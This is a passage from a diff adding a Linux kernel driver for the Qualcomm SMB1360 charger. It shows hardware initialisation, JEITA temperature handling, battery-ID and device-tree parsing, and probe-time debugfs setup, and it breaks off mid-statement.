SHDN_CMD_USE_BIT; + shdn_cmd_polar = !!(val & SHDN_CMD_POLARITY_BIT); + pr_debug("shdn_cmd_en:%d shdn_cmd_polar:%d\n", shdn_cmd_en, shdn_cmd_polar); + + rc = smb1360_read(chip, CMD_IL_REG, &val); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read 0x41 reg rc = %d\n", rc); + return rc; + } + shdn_status = val & SHDN_CMD_BIT; + + val = (shdn_cmd_polar ^ enable) ? SHDN_CMD_BIT : 0; + + if (shdn_cmd_en) { + if (shdn_status != val) { + rc = smb1360_masked_write(chip, CMD_IL_REG, + SHDN_CMD_BIT, val); + if (rc < 0) { + dev_err(chip->dev, "Couldn't shutdown smb1360 rc = %d\n", + rc); + return rc; + } + } + } else { + dev_dbg(chip->dev, "SMB not configured for CMD based shutdown\n"); + } + + return rc; +} + +static inline int smb1360_poweroff(struct smb1360_chip *chip) +{ + pr_debug("power off smb1360\n"); + return smb1360_enable(chip, false); +} + +static inline int smb1360_poweron(struct smb1360_chip *chip) +{ + pr_debug("power on smb1360\n"); + return smb1360_enable(chip, true); +} + +static int smb1360_jeita_init(struct smb1360_chip *chip) +{ + int rc = 0; + int temp; + if (chip->config_hard_thresholds) { + if (chip->soft_jeita_supported) { + chip->workaround_flags |= WRKRND_HARD_JEITA; + rc = smb1360_set_soft_jeita_threshold(chip, + chip->cool_bat_decidegc, chip->warm_bat_decidegc); + if (rc) { + dev_err(chip->dev, + "Couldn't set jeita threshold\n"); + return rc; + } + } else { + rc = smb1360_set_soft_jeita_threshold(chip, + chip->cold_bat_decidegc, chip->hot_bat_decidegc); + if (rc) { + dev_err(chip->dev, + "Couldn't set jeita threshold\n"); + return rc; + } + } + } else { + if (chip->soft_jeita_supported) { + temp = min(chip->warm_bat_ma, chip->cool_bat_ma); + rc = smb1360_set_jeita_comp_curr(chip, temp); + if (rc) { + dev_err(chip->dev, "Couldn't set comp current\n"); + return rc; + } + + temp = (chip->vfloat_mv - chip->warm_bat_mv) / 10; + rc = smb1360_masked_write(chip, CFG_FVC_REG, + FLT_VTG_COMP_MASK, temp); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set VFLT compensation = %d", + rc); + return rc; + } + + rc = smb1360_set_soft_jeita_threshold(chip, + chip->cool_bat_decidegc, chip->warm_bat_decidegc); + if (rc) { + dev_err(chip->dev, + "Couldn't set jeita threshold\n"); + return rc; + } + + rc = smb1360_soft_jeita_comp_enable(chip, true); + if (rc) { + dev_err(chip->dev, "Couldn't enable jeita\n"); + return rc; + } + } + } + + return rc; +} + +static int smb1360_hw_init(struct smb1360_chip *chip) +{ + int rc; + int i; + u8 reg, mask; + + smb1360_check_feature_support(chip); + + rc = smb1360_enable_volatile_writes(chip); + if (rc < 0) { + dev_err(chip->dev, "Couldn't configure for volatile rc = %d\n", + rc); + return rc; + } + + /* Bring SMB1360 out of shutdown, if it was enabled by default */ + rc = smb1360_poweron(chip); + if (rc < 0) { + pr_err("smb1360 power on failed\n"); + return rc; + } + + rc = smb1360_read(chip, PER_TO_FAST_REG, ®); + if (rc) { + pr_err("Failed to read PER_TO_FAST_REG\n"); + return -ENODEV; + } + reg = reg >> PER_TO_FAST_SHIFT; + + if (reg) { + pr_debug(" Rsense is 10mOhm resistor\n"); + chip->rsense_10mohm = true; + } else { + pr_debug(" Rsense is 20mOhm resistor\n"); + } + + if (chip->rsense_10mohm) { + rc = smb1360_otp_gain_config(chip, 2); + if (rc < 0) { + pr_err("Couldn't config OTP rc=%d\n", rc); + return rc; + } + } + + rc = smb1360_check_batt_profile(chip); + if (rc) + pr_err("Unable to modify battery profile\n"); + + /* USB/AC pin settings */ + rc = smb1360_masked_write(chip, CFG_BATT_CHG_ICL_REG, + AC_INPUT_ICL_PIN_BIT + | AC_INPUT_PIN_HIGH_BIT + | RESET_STATE_USB_500, + AC_INPUT_PIN_HIGH_BIT + | RESET_STATE_USB_500); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set CFG_BATT_CHG_ICL_REG rc=%d\n", + rc); + return rc; + } + + /* AICL enable and set input-uv glitch flt to 20ms*/ + reg = AICL_ENABLED_BIT | INPUT_UV_GLITCH_FLT_20MS_BIT; + rc = smb1360_masked_write(chip, CFG_GLITCH_FLT_REG, reg, reg); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set CFG_GLITCH_FLT_REG rc=%d\n", + rc); + return rc; + } + + /* set the float voltage */ + if (chip->vfloat_mv != -EINVAL) { + rc = smb1360_float_voltage_set(chip, chip->vfloat_mv); + if (rc < 0) { + dev_err(chip->dev, + "Couldn't set float voltage rc = %d\n", rc); + return rc; + } + } + + /* set iterm */ + if (chip->iterm_ma != -EINVAL) { + if (chip->iterm_disabled) { + dev_err(chip->dev, "Error: Both iterm_disabled and iterm_ma set\n"); + return -EINVAL; + } else { + if (chip->rsense_10mohm) + chip->iterm_ma /= 2; + + if (chip->iterm_ma < 25) + reg = CHG_ITERM_25MA; + else if (chip->iterm_ma > 200) + reg = CHG_ITERM_200MA; + else + reg = DIV_ROUND_UP(chip->iterm_ma, 25) - 1; + + rc = smb1360_masked_write(chip, CFG_BATT_CHG_REG, + CHG_ITERM_MASK, reg); + if (rc) { + dev_err(chip->dev, + "Couldn't set iterm rc = %d\n", rc); + return rc; + } + + rc = smb1360_masked_write(chip, CFG_CHG_MISC_REG, + CHG_CURR_TERM_DIS_BIT, 0); + if (rc) { + dev_err(chip->dev, + "Couldn't enable iterm rc = %d\n", rc); + return rc; + } + } + } else if (chip->iterm_disabled) { + rc = smb1360_masked_write(chip, CFG_CHG_MISC_REG, + CHG_CURR_TERM_DIS_BIT, + CHG_CURR_TERM_DIS_BIT); + if (rc) { + dev_err(chip->dev, "Couldn't set iterm rc = %d\n", + rc); + return rc; + } + } + + /* set the safety time voltage */ + if (chip->safety_time != -EINVAL) { + if (chip->safety_time == 0) { + /* safety timer disabled */ + rc = smb1360_masked_write(chip, CFG_SFY_TIMER_CTRL_REG, + SAFETY_TIME_EN_BIT, 0); + if (rc < 0) { + dev_err(chip->dev, + "Couldn't disable safety timer rc = %d\n", + rc); + return rc; + } + } else { + for (i = 0; i < ARRAY_SIZE(chg_time); i++) { + if (chip->safety_time <= chg_time[i]) { + reg = i << SAFETY_TIME_MINUTES_SHIFT; + break; + } + } + rc = smb1360_masked_write(chip, CFG_SFY_TIMER_CTRL_REG, + SAFETY_TIME_EN_BIT | SAFETY_TIME_MINUTES_MASK, + SAFETY_TIME_EN_BIT | reg); + if (rc < 0) { + dev_err(chip->dev, + "Couldn't set safety timer rc = %d\n", + rc); + return rc; + } + } + } + + /* configure resume threshold, auto recharge and charge inhibit */ + if (chip->resume_delta_mv != -EINVAL) { + if (chip->recharge_disabled && chip->chg_inhibit_disabled) { + dev_err(chip->dev, "Error: Both recharge_disabled and recharge_mv set\n"); + return -EINVAL; + } else { + rc = smb1360_recharge_threshold_set(chip, + chip->resume_delta_mv); + if (rc) { + dev_err(chip->dev, + "Couldn't set rechg thresh rc = %d\n", + rc); + return rc; + } + } + chip->current_recharge_type = SENSOR_VOLTAGE_AUTO_RECHARGE; + } + + if (chip->pre_to_fast_charge_mv != -EINVAL) { + for (i = ARRAY_SIZE(pre_to_fast_charge) - 1; i >= 0; i--) { + if (pre_to_fast_charge[i] <= chip->pre_to_fast_charge_mv) + break; + } + if (i < 0) { + pr_debug("Couldn't find pre to fast chg mV\n"); + i = 0; + } + /* set pre to fast chg voltage threshold */ + rc = smb1360_masked_write(chip, PER_TO_FAST_REG, + PER_TO_FAST_MASK, i << PER_TO_FAST_SHIFT); + if (rc) { + pr_err("Couldn't set pre to fast chg voltage threshold mV rc=%d\n", rc); + return rc; + } + } + + rc = smb1360_masked_write(chip, CFG_CHG_MISC_REG, + CFG_AUTO_RECHG_DIS_BIT, + chip->recharge_disabled ? + CFG_AUTO_RECHG_DIS_BIT : 0); + if (rc) { + dev_err(chip->dev, "Couldn't set rechg-cfg rc = %d\n", rc); + return rc; + } + rc = smb1360_masked_write(chip, CFG_CHG_MISC_REG, + CFG_CHG_INHIBIT_EN_BIT, + chip->chg_inhibit_disabled ? + 0 : CFG_CHG_INHIBIT_EN_BIT); + if (rc) { + dev_err(chip->dev, "Couldn't set chg_inhibit rc = %d\n", rc); + return rc; + } + + /* battery missing detection */ + rc = smb1360_masked_write(chip, CFG_BATT_MISSING_REG, + BATT_MISSING_SRC_THERM_BIT, + BATT_MISSING_SRC_THERM_BIT); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set batt_missing config = %d\n", + rc); + return rc; + } + + rc = smb1360_jeita_init(chip); + if (rc < 0) { + dev_err(chip->dev, "Couldn't init jeita, rc = %d\n", rc); + return rc; + } + + /* interrupt enabling - active low */ + if (chip->client->irq) { + mask = CHG_STAT_IRQ_ONLY_BIT + | CHG_STAT_ACTIVE_HIGH_BIT + | CHG_STAT_DISABLE_BIT + | CHG_TEMP_CHG_ERR_BLINK_BIT; + + if (!chip->pulsed_irq) + reg = CHG_STAT_IRQ_ONLY_BIT; + else + reg = CHG_TEMP_CHG_ERR_BLINK_BIT; + rc = smb1360_masked_write(chip, CFG_STAT_CTRL_REG, mask, reg); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set irq config rc = %d\n", + rc); + return rc; + } + + /* enabling only interesting interrupts */ + rc = smb1360_write(chip, IRQ_CFG_REG, + IRQ_BAT_HOT_COLD_HARD_BIT + | IRQ_BAT_HOT_COLD_SOFT_BIT + | IRQ_INTERNAL_TEMPERATURE_BIT + | IRQ_DCIN_UV_BIT); + if (rc) { + dev_err(chip->dev, "Couldn't set irq1 config rc = %d\n", + rc); + return rc; + } + + rc = smb1360_write(chip, IRQ2_CFG_REG, + IRQ2_SAFETY_TIMER_BIT + | IRQ2_CHG_ERR_BIT + | IRQ2_CHG_PHASE_CHANGE_BIT + | IRQ2_POWER_OK_BIT + | IRQ2_BATT_MISSING_BIT + | IRQ2_VBAT_LOW_BIT); + if (rc) { + dev_err(chip->dev, "Couldn't set irq2 config rc = %d\n", + rc); + return rc; + } + + rc = smb1360_write(chip, IRQ3_CFG_REG, + IRQ3_SOC_CHANGE_BIT + | IRQ3_SOC_MIN_BIT + | IRQ3_SOC_MAX_BIT + | IRQ3_SOC_EMPTY_BIT + | IRQ3_SOC_FULL_BIT); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set irq3 enable rc = %d\n", + rc); + return rc; + } + } + + /* batt-id configuration */ + if (chip->batt_id_disabled) { + mask = BATT_ID_ENABLED_BIT | CHG_BATT_ID_FAIL + | BATT_ID_FAIL_SELECT_PROFILE; + reg = CHG_BATT_ID_FAIL | BATT_ID_FAIL_SELECT_PROFILE; + rc = smb1360_masked_write(chip, CFG_FG_BATT_CTRL_REG, + mask, reg); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set batt_id_reg rc = %d\n", + rc); + return rc; + } + } + + /* USB OTG current limit configuration */ + if (chip->otg_batt_curr_limit != -EINVAL) { + for (i = 0; i < ARRAY_SIZE(otg_curr_ma); i++) { + if (otg_curr_ma[i] >= chip->otg_batt_curr_limit) + break; + } + + if (i == ARRAY_SIZE(otg_curr_ma)) + i = i - 1; + + rc = smb1360_masked_write(chip, CFG_BATT_CHG_REG, + OTG_CURRENT_MASK, + i << OTG_CURRENT_SHIFT); + if (rc) + pr_err("Couldn't set OTG current limit, rc = %d\n", rc); + } + + rc = smb1360_fg_config(chip); + if (rc < 0) { + pr_err("Couldn't configure FG rc=%d\n", rc); + return rc; + } + + rc = smb1360_charging_disable(chip, USER, !!chip->charging_disabled); + if (rc) + dev_err(chip->dev, "Couldn't '%s' charging rc = %d\n", + chip->charging_disabled ? "disable" : "enable", rc); + + /* + * set chg en by cmd register, set chg en by writing bit 1, + * enable auto pre to fast + */ + rc = smb1360_masked_write(chip, CFG_CHG_MISC_REG, + CHG_EN_BY_PIN_BIT + | CHG_EN_ACTIVE_LOW_BIT + | PRE_TO_FAST_REQ_CMD_BIT, + 0); + if (rc < 0) { + dev_err(chip->dev, "Couldn't set CFG_CHG_MISC_REG rc=%d\n", rc); + return rc; + } + + return rc; +} + +static int smb_parse_batt_id(struct smb1360_chip *chip) +{ + int rc = 0, rpull = 0, vref = 0; + int64_t denom, batt_id_uv; + struct device_node *node = chip->dev->of_node; + struct qpnp_vadc_result result; + + chip->vadc_dev = qpnp_get_vadc(chip->dev, "smb1360"); + if (IS_ERR(chip->vadc_dev)) { + rc = PTR_ERR(chip->vadc_dev); + if (rc == -EPROBE_DEFER) + pr_err("vadc not found - defer rc=%d\n", rc); + else + pr_err("vadc property missing, rc=%d\n", rc); + + return rc; + } + + rc = of_property_read_u32(node, "qcom,profile-a-rid-kohm", + &chip->profile_rid[0]); + if (rc < 0) { + pr_err("Couldn't read profile-a-rid-kohm rc=%d\n", rc); + return rc; + } + + rc = of_property_read_u32(node, "qcom,profile-b-rid-kohm", + &chip->profile_rid[1]); + if (rc < 0) { + pr_err("Couldn't read profile-b-rid-kohm rc=%d\n", rc); + return rc; + } + + rc = of_property_read_u32(node, "qcom,batt-id-vref-uv", &vref); + if (rc < 0) { + pr_err("Couldn't read batt-id-vref-uv rc=%d\n", rc); + return rc; + } + + rc = of_property_read_u32(node, "qcom,batt-id-rpullup-kohm", &rpull); + if (rc < 0) { + pr_err("Couldn't read batt-id-rpullup-kohm rc=%d\n", rc); + return rc; + } + + /* read battery ID */ + rc = qpnp_vadc_read(chip->vadc_dev, LR_MUX2_BAT_ID, &result); + if (rc) { + pr_err("error reading batt id channel = %d, rc = %d\n", + LR_MUX2_BAT_ID, rc); + return rc; + } + batt_id_uv = result.physical; + + if (batt_id_uv == 0) { + /* vadc not correct or batt id line grounded, report 0 kohms */ + pr_err("batt_id_uv = 0, batt-id grounded using same profile\n"); + return 0; + } + + denom = div64_s64(vref * 1000000LL, batt_id_uv) - 1000000LL; + if (denom == 0) { + /* batt id connector might be open, return 0 kohms */ + return 0; + } + chip->connected_rid = div64_s64(rpull * 1000000LL + denom/2, denom); + + pr_debug("batt_id_voltage = %lld, connected_rid = %d\n", + batt_id_uv, chip->connected_rid); + + return 0; +} +/* + * Be noted that if you do not define "qcom,config-hard-thresholds" + * and "qcom,soft-jeita-supported", SMB1360 will follow its default + * setting which programed initially. Soft JEITA only disables when + * you explictly config hard thresholds. + */ +static int smb1360_parse_jeita_params(struct smb1360_chip *chip) +{ + int rc = 0; + struct device_node *node = chip->dev->of_node; + + if (of_property_read_bool(node, "qcom,config-hard-thresholds")) { + rc = of_property_read_u32(node, + "qcom,cold-bat-decidegc", &chip->cold_bat_decidegc); + if (rc) { + pr_err("cold_bat_decidegc property error, rc = %d\n", rc); + return -EINVAL; + } + + rc = of_property_read_u32(node, + "qcom,hot-bat-decidegc", &chip->hot_bat_decidegc); + if (rc) { + pr_err("hot_bat_decidegc property error, rc = %d\n", rc); + return -EINVAL; + } + + chip->config_hard_thresholds = true; + pr_debug("config_hard_thresholds = %d, cold_bat_decidegc = %d, hot_bat_decidegc = %d\n", + chip->config_hard_thresholds, chip->cold_bat_decidegc, + chip->hot_bat_decidegc); + } + + if (of_property_read_bool(node, "qcom,soft-jeita-supported")) { + rc = of_property_read_u32(node, "qcom,warm-bat-decidegc", + &chip->warm_bat_decidegc); + if (rc) { + pr_err("warm_bat_decidegc property error, rc = %d\n", rc); + return -EINVAL; + } + + rc = of_property_read_u32(node, "qcom,cool-bat-decidegc", + &chip->cool_bat_decidegc); + if (rc) { + pr_err("cool_bat_decidegc property error, rc = %d\n", rc); + return -EINVAL; + } + rc = of_property_read_u32(node, "qcom,cool-bat-mv", + &chip->cool_bat_mv); + if (rc) { + pr_err("cool_bat_mv property error, rc = %d\n", rc); + return -EINVAL; + } + + rc = of_property_read_u32(node, "qcom,warm-bat-mv", + &chip->warm_bat_mv); + if (rc) { + pr_err("warm_bat_mv property error, rc = %d\n", rc); + return -EINVAL; + } + + rc = of_property_read_u32(node, "qcom,cool-bat-ma", + &chip->cool_bat_ma); + if (rc) { + pr_err("cool_bat_ma property error, rc = %d\n", rc); + return -EINVAL; + } + + rc = of_property_read_u32(node, "qcom,warm-bat-ma", + &chip->warm_bat_ma); + + if (rc) { + pr_err("warm_bat_ma property error, rc = %d\n", rc); + return -EINVAL; + } + + chip->soft_jeita_supported = true; + } + + pr_debug("soft-jeita-enabled = %d, warm-bat-decidegc = %d, cool-bat-decidegc = %d, cool-bat-mv = %d, warm-bat-mv = %d, cool-bat-ma = %d, warm-bat-ma = %d\n", + chip->soft_jeita_supported, chip->warm_bat_decidegc, + chip->cool_bat_decidegc, chip->cool_bat_mv, chip->warm_bat_mv, + chip->cool_bat_ma, chip->warm_bat_ma); + + return rc; +} + +extern int power_supply_set_charging_enabled(struct power_supply *psy, + bool enabled); +#ifdef CONFIG_BQ2022A_SUPPORT +extern int bq2022a_get_bat_module_id(void); + +void smb1360_get_bat_character(struct smb1360_chip *chip) +{ + int rc; + int max_capacity = 0; + int capacity_coeff = 0; + int temp_coeff = 0; + + switch (bq2022a_get_bat_module_id()) { + case 0: + max_capacity = 2200; + capacity_coeff = 0x8373; + temp_coeff = 0x85D2; + break; + + case 1: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85D2; + break; + + case 2: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85D2; + break; + + case 3: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85D2; + break; + + case 4: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85D2; + break; + + case 5: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85E0; + break; + + case 6: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85D2; + break; + + case 7: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85E0; + break; + + case 8: + max_capacity = 2200; + capacity_coeff = 0x8373; + temp_coeff = 0x85D2; + break; + + case 9: + max_capacity = 2200; + capacity_coeff = 0x8373; + temp_coeff = 0x85E0; + break; + + case 10: + max_capacity = 2200; + capacity_coeff = 0x8373; + temp_coeff = 0x85D2; + break; + + case 17: + max_capacity = 2000; + capacity_coeff = 0x8819; + temp_coeff = 0x85D2; + break; + + case 0xff: + default: + max_capacity = 0; + capacity_coeff = 0; + temp_coeff = 0; + pr_err("get battery ID error disable charge!!!\n"); + rc = power_supply_set_charging_enabled(&(chip->batt_psy), 0); + if (rc) + pr_err("disable charging failed\n"); + break; + } + + if ((chip->batt_capacity_mah != -EINVAL) && (max_capacity)) + chip->batt_capacity_mah = max_capacity; + + if ((chip->cc_soc_coeff != -EINVAL) && (capacity_coeff)) + chip->cc_soc_coeff = capacity_coeff; + + if ((chip->fg_thermistor_c1_coeff != -EINVAL) && (temp_coeff)) + chip->fg_thermistor_c1_coeff = temp_coeff; + + pr_err("batt_capacity_mah=%d cc_soc_coeff=0x%x fg_thermistor_c1_coeff=0x%x \n", + chip->batt_capacity_mah, chip->cc_soc_coeff, chip->fg_thermistor_c1_coeff); +} +#endif + +static int smb1360_update_power_on_state(struct smb1360_chip *chip) +{ + int i, j; + int rc; + u8 rt_stat; + struct smb_irq_info *info; + + for (i = 0; i < ARRAY_SIZE(handlers); i++) { + if (handlers[i].stat_reg == IRQ_F_REG) { + rc = smb1360_read(chip, handlers[i].stat_reg, + &handlers[i].val); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read %d rc = %d\n", + handlers[i].stat_reg, rc); + return -EPERM; + } + info = handlers[i].irq_info; + for (j = 0; j < ARRAY_SIZE(handlers[i].irq_info); j++) { + if (!strcmp(info[j].name, "power_ok")) { + rt_stat = handlers[i].val & (IRQ_STATUS_MASK << (j * BITS_PER_IRQ)); + if (rt_stat) { + handlers[i].prev_val = handlers[i].val; + chip->power_ok = rt_stat; + pr_debug("chip->power_ok = %d\n", chip->power_ok); + } + } + } + } + } + return 0; +} +static int smb_parse_dt(struct smb1360_chip *chip) +{ + int rc; + struct device_node *node = chip->dev->of_node; + + if (!node) { + dev_err(chip->dev, "device tree info. missing\n"); + return -EINVAL; + } + + if (of_property_read_bool(node, "qcom,batt-profile-select")) { + rc = smb_parse_batt_id(chip); + if (rc < 0) { + if (rc != -EPROBE_DEFER) + pr_err("Unable to parse batt-id rc=%d\n", rc); + return rc; + } + } + + chip->pulsed_irq = of_property_read_bool(node, "qcom,stat-pulsed-irq"); + + rc = of_property_read_u32(node, "qcom,float-voltage-mv", + &chip->vfloat_mv); + if (rc < 0) + chip->vfloat_mv = -EINVAL; + + rc = of_property_read_u32(node, "qcom,charging-timeout", + &chip->safety_time); + if (rc < 0) + chip->safety_time = -EINVAL; + + if (!rc && (chip->safety_time > chg_time[ARRAY_SIZE(chg_time) - 1])) { + dev_err(chip->dev, "Bad charging-timeout %d\n", + chip->safety_time); + return -EINVAL; + } + + rc = of_property_read_u32(node, "qcom,recharge-thresh-mv", + &chip->resume_delta_mv); + if (rc < 0) + chip->resume_delta_mv = -EINVAL; + + rc = of_property_read_u32(node, "qcom,warm-recharge-thresh-mv", + &chip->warm_recharge_mv); + if (rc < 0) + chip->warm_recharge_mv = -EINVAL; + + chip->recharge_disabled = of_property_read_bool(node, + "qcom,recharge-disabled"); + + rc = of_property_read_u32(node, "qcom,iterm-ma", &chip->iterm_ma); + if (rc < 0) + chip->iterm_ma = -EINVAL; + + chip->iterm_disabled = of_property_read_bool(node, + "qcom,iterm-disabled"); + + chip->chg_inhibit_disabled = of_property_read_bool(node, + "qcom,chg-inhibit-disabled"); + + chip->charging_disabled = of_property_read_bool(node, + "qcom,charging-disabled"); + + chip->batt_id_disabled = of_property_read_bool(node, + "qcom,batt-id-disabled"); + + chip->shdn_after_pwroff = of_property_read_bool(node, + "qcom,shdn-after-pwroff"); + + if (of_find_property(node, "qcom,thermal-mitigation", + &chip->thermal_levels)) { + chip->thermal_mitigation = devm_kzalloc(chip->dev, + chip->thermal_levels, + GFP_KERNEL); + + if (chip->thermal_mitigation == NULL) { + pr_err("thermal mitigation kzalloc() failed.\n"); + return -ENOMEM; + } + + chip->thermal_levels /= sizeof(int); + rc = of_property_read_u32_array(node, + "qcom,thermal-mitigation", + chip->thermal_mitigation, chip->thermal_levels); + if (rc) { + pr_err("Couldn't read threm limits rc = %d\n", rc); + return rc; + } + } + + rc = smb1360_parse_jeita_params(chip); + if (rc < 0) { + pr_err("Couldn't parse jeita params, rc = %d\n", rc); + return rc; + } + + /* fg params */ + rc = of_property_read_u32(node, "qcom,fg-delta-soc", &chip->delta_soc); + if (rc < 0) + chip->delta_soc = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-soc-max", &chip->soc_max); + if (rc < 0) + chip->soc_max = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-soc-min", &chip->soc_min); + if (rc < 0) + chip->soc_min = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-voltage-min-mv", + &chip->voltage_min_mv); + if (rc < 0) + chip->voltage_min_mv = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-voltage-empty-mv", + &chip->voltage_empty_mv); + if (rc < 0) + chip->voltage_empty_mv = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-batt-capacity-mah", + &chip->batt_capacity_mah); + if (rc < 0) + chip->batt_capacity_mah = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-cc-soc-coeff", + &chip->cc_soc_coeff); + if (rc < 0) + chip->cc_soc_coeff = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-cutoff-voltage-mv", + &chip->v_cutoff_mv); + if (rc < 0) + chip->v_cutoff_mv = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-iterm-ma", + &chip->fg_iterm_ma); + if (rc < 0) + chip->fg_iterm_ma = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-ibatt-standby-ma", + &chip->fg_ibatt_standby_ma); + if (rc < 0) + chip->fg_ibatt_standby_ma = -EINVAL; + + rc = of_property_read_u32(node, "qcom,thermistor-c1-coeff", + &chip->fg_thermistor_c1_coeff); + if (rc < 0) + chip->fg_thermistor_c1_coeff = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-cc-to-cv-mv", + &chip->fg_cc_to_cv_mv); + if (rc < 0) + chip->fg_cc_to_cv_mv = -EINVAL; + + rc = of_property_read_u32(node, "qcom,chg-pre-to-fast-mv", + &chip->pre_to_fast_charge_mv); + if (rc < 0) + chip->pre_to_fast_charge_mv = -EINVAL; + rc = of_property_read_u32(node, "qcom,otg-batt-curr-limit", + &chip->otg_batt_curr_limit); + if (rc < 0) + chip->otg_batt_curr_limit = -EINVAL; + + rc = of_property_read_u32(node, "qcom,fg-auto-recharge-soc", + &chip->fg_auto_recharge_soc); + if (rc < 0) + chip->fg_auto_recharge_soc = -EINVAL; + + return 0; +} + +static int smb1360_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + u8 reg; + int rc; + struct smb1360_chip *chip; + struct power_supply *usb_psy; + + usb_psy = power_supply_get_by_name("usb"); + if (!usb_psy) { + dev_dbg(&client->dev, "USB supply not found; defer probe\n"); + return -EPROBE_DEFER; + } + + chip = devm_kzalloc(&client->dev, sizeof(*chip), GFP_KERNEL); + if (!chip) { + dev_err(&client->dev, "Unable to allocate memory\n"); + return -ENOMEM; + } + + chip->client = client; + chip->dev = &client->dev; + chip->usb_psy = usb_psy; + chip->fake_battery_soc = -EINVAL; + mutex_init(&chip->read_write_lock); + INIT_DELAYED_WORK(&chip->jeita_work, smb1360_jeita_work_fn); + + /* probe the device to check if its actually connected */ + rc = smb1360_read(chip, CFG_BATT_CHG_REG, ®); + if (rc) { + pr_err("Failed to detect SMB1360, device may be absent\n"); + return -ENODEV; + } + + rc = read_revision(chip, &chip->revision); + if (rc) + dev_err(chip->dev, "Couldn't read revision rc = %d\n", rc); + + rc = smb_parse_dt(chip); + if (rc < 0) { + dev_err(&client->dev, "Unable to parse DT nodes\n"); + return rc; + } + + device_init_wakeup(chip->dev, 1); + i2c_set_clientdata(client, chip); + chip->resume_completed = true; + mutex_init(&chip->irq_complete); + mutex_init(&chip->charging_disable_lock); + mutex_init(&chip->current_change_lock); + chip->default_i2c_addr = client->addr; + + pr_debug("default_i2c_addr=%x\n", chip->default_i2c_addr); + + rc = smb1360_regulator_init(chip); + if (rc) { + dev_err(&client->dev, + "Couldn't initialize smb349 ragulator rc=%d\n", rc); + return rc; + } + + rc = smb1360_hw_init(chip); + if (rc < 0) { + dev_err(&client->dev, + "Unable to intialize hardware rc = %d\n", rc); + goto fail_hw_init; + } + + rc = determine_initial_status(chip); + if (rc < 0) { + dev_err(&client->dev, + "Unable to determine init status rc = %d\n", rc); + goto fail_hw_init; + } + + chip->batt_psy.name = "battery"; + chip->batt_psy.type = POWER_SUPPLY_TYPE_BATTERY; + chip->batt_psy.get_property = smb1360_battery_get_property; + chip->batt_psy.set_property = smb1360_battery_set_property; + chip->batt_psy.properties = smb1360_battery_properties; + chip->batt_psy.num_properties = ARRAY_SIZE(smb1360_battery_properties); + chip->batt_psy.external_power_changed = smb1360_external_power_changed; + chip->batt_psy.property_is_writeable = smb1360_battery_is_writeable; + + smb1360_update_power_on_state(chip); + rc = power_supply_register(chip->dev, &chip->batt_psy); + if (rc < 0) { + dev_err(&client->dev, + "Unable to register batt_psy rc = %d\n", rc); + goto fail_hw_init; + } + +#ifdef CONFIG_BQ2022A_SUPPORT + smb1360_get_bat_character(chip); +#endif + + /* STAT irq configuration */ + if (client->irq) { + rc = devm_request_threaded_irq(&client->dev, client->irq, NULL, + smb1360_stat_handler, IRQF_ONESHOT, + "smb1360_stat_irq", chip); + if (rc < 0) { + dev_err(&client->dev, + "request_irq for irq=%d failed rc = %d\n", + client->irq, rc); + goto unregister_batt_psy; + } + enable_irq_wake(client->irq); + } + + chip->debug_root = debugfs_create_dir("smb1360", NULL); + if (!chip->debug_root) + dev_err(chip->dev, "Couldn't create debug dir\n"); + + if (chip->debug_root) { + struct dentry *ent; + + ent = debugfs_create_file("config_registers", S_IFREG | S_IRUGO, + chip->debug_root, chip, + &cnfg_debugfs_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create cnfg debug file rc = %d\n", + rc); + + ent = debugfs_create_file("status_registers", S_IFREG | S_IRUGO, + chip->debug_root, chip, + &status_debugfs_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create status debug file rc = %d\n", + rc); + + ent = debugfs_create_file("irq_status", S_IFREG | S_IRUGO, + chip->debug_root, chip, + &irq_stat_debugfs_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create irq_stat debug file rc = %d\n", + rc); + + ent = debugfs_create_file("cmd_registers", S_IFREG | S_IRUGO, + chip->debug_root, chip, + &cmd_debugfs_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create cmd debug file rc = %d\n", + rc); + + ent = debugfs_create_file("fg_regs", + S_IFREG | S_IRUGO, chip->debug_root, chip, + &fg_regs_debugfs_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create fg_scratch_pad debug file rc = %d\n", + rc); + + ent = debugfs_create_x32("address", S_IFREG | S_IWUSR | S_IRUGO, + chip->debug_root, + &(chip->peek_poke_address)); + if (!ent) + dev_err(chip->dev, + "Couldn't create address debug file rc = %d\n", + rc); + + ent = debugfs_create_file("data", S_IFREG | S_IWUSR | S_IRUGO, + chip->debug_root, chip, + &poke_poke_debug_ops); + if (!ent) + dev_err(chip->dev, + "Couldn't create data debug file rc = %d\n", + rc); + + ent = debugfs_create_x32("fg_address", + S_IFREG | S_IWUSR | S_IRUGO, + chip->debug_root, + &(chip->fg_peek_poke_address)); + if (!ent) + dev_err(chip->dev, + "Couldn't create address debug file rc = %d\n", + rc); + + ent = debugfs_create_file("fg_data", + S_IFREG | S_IWUSR 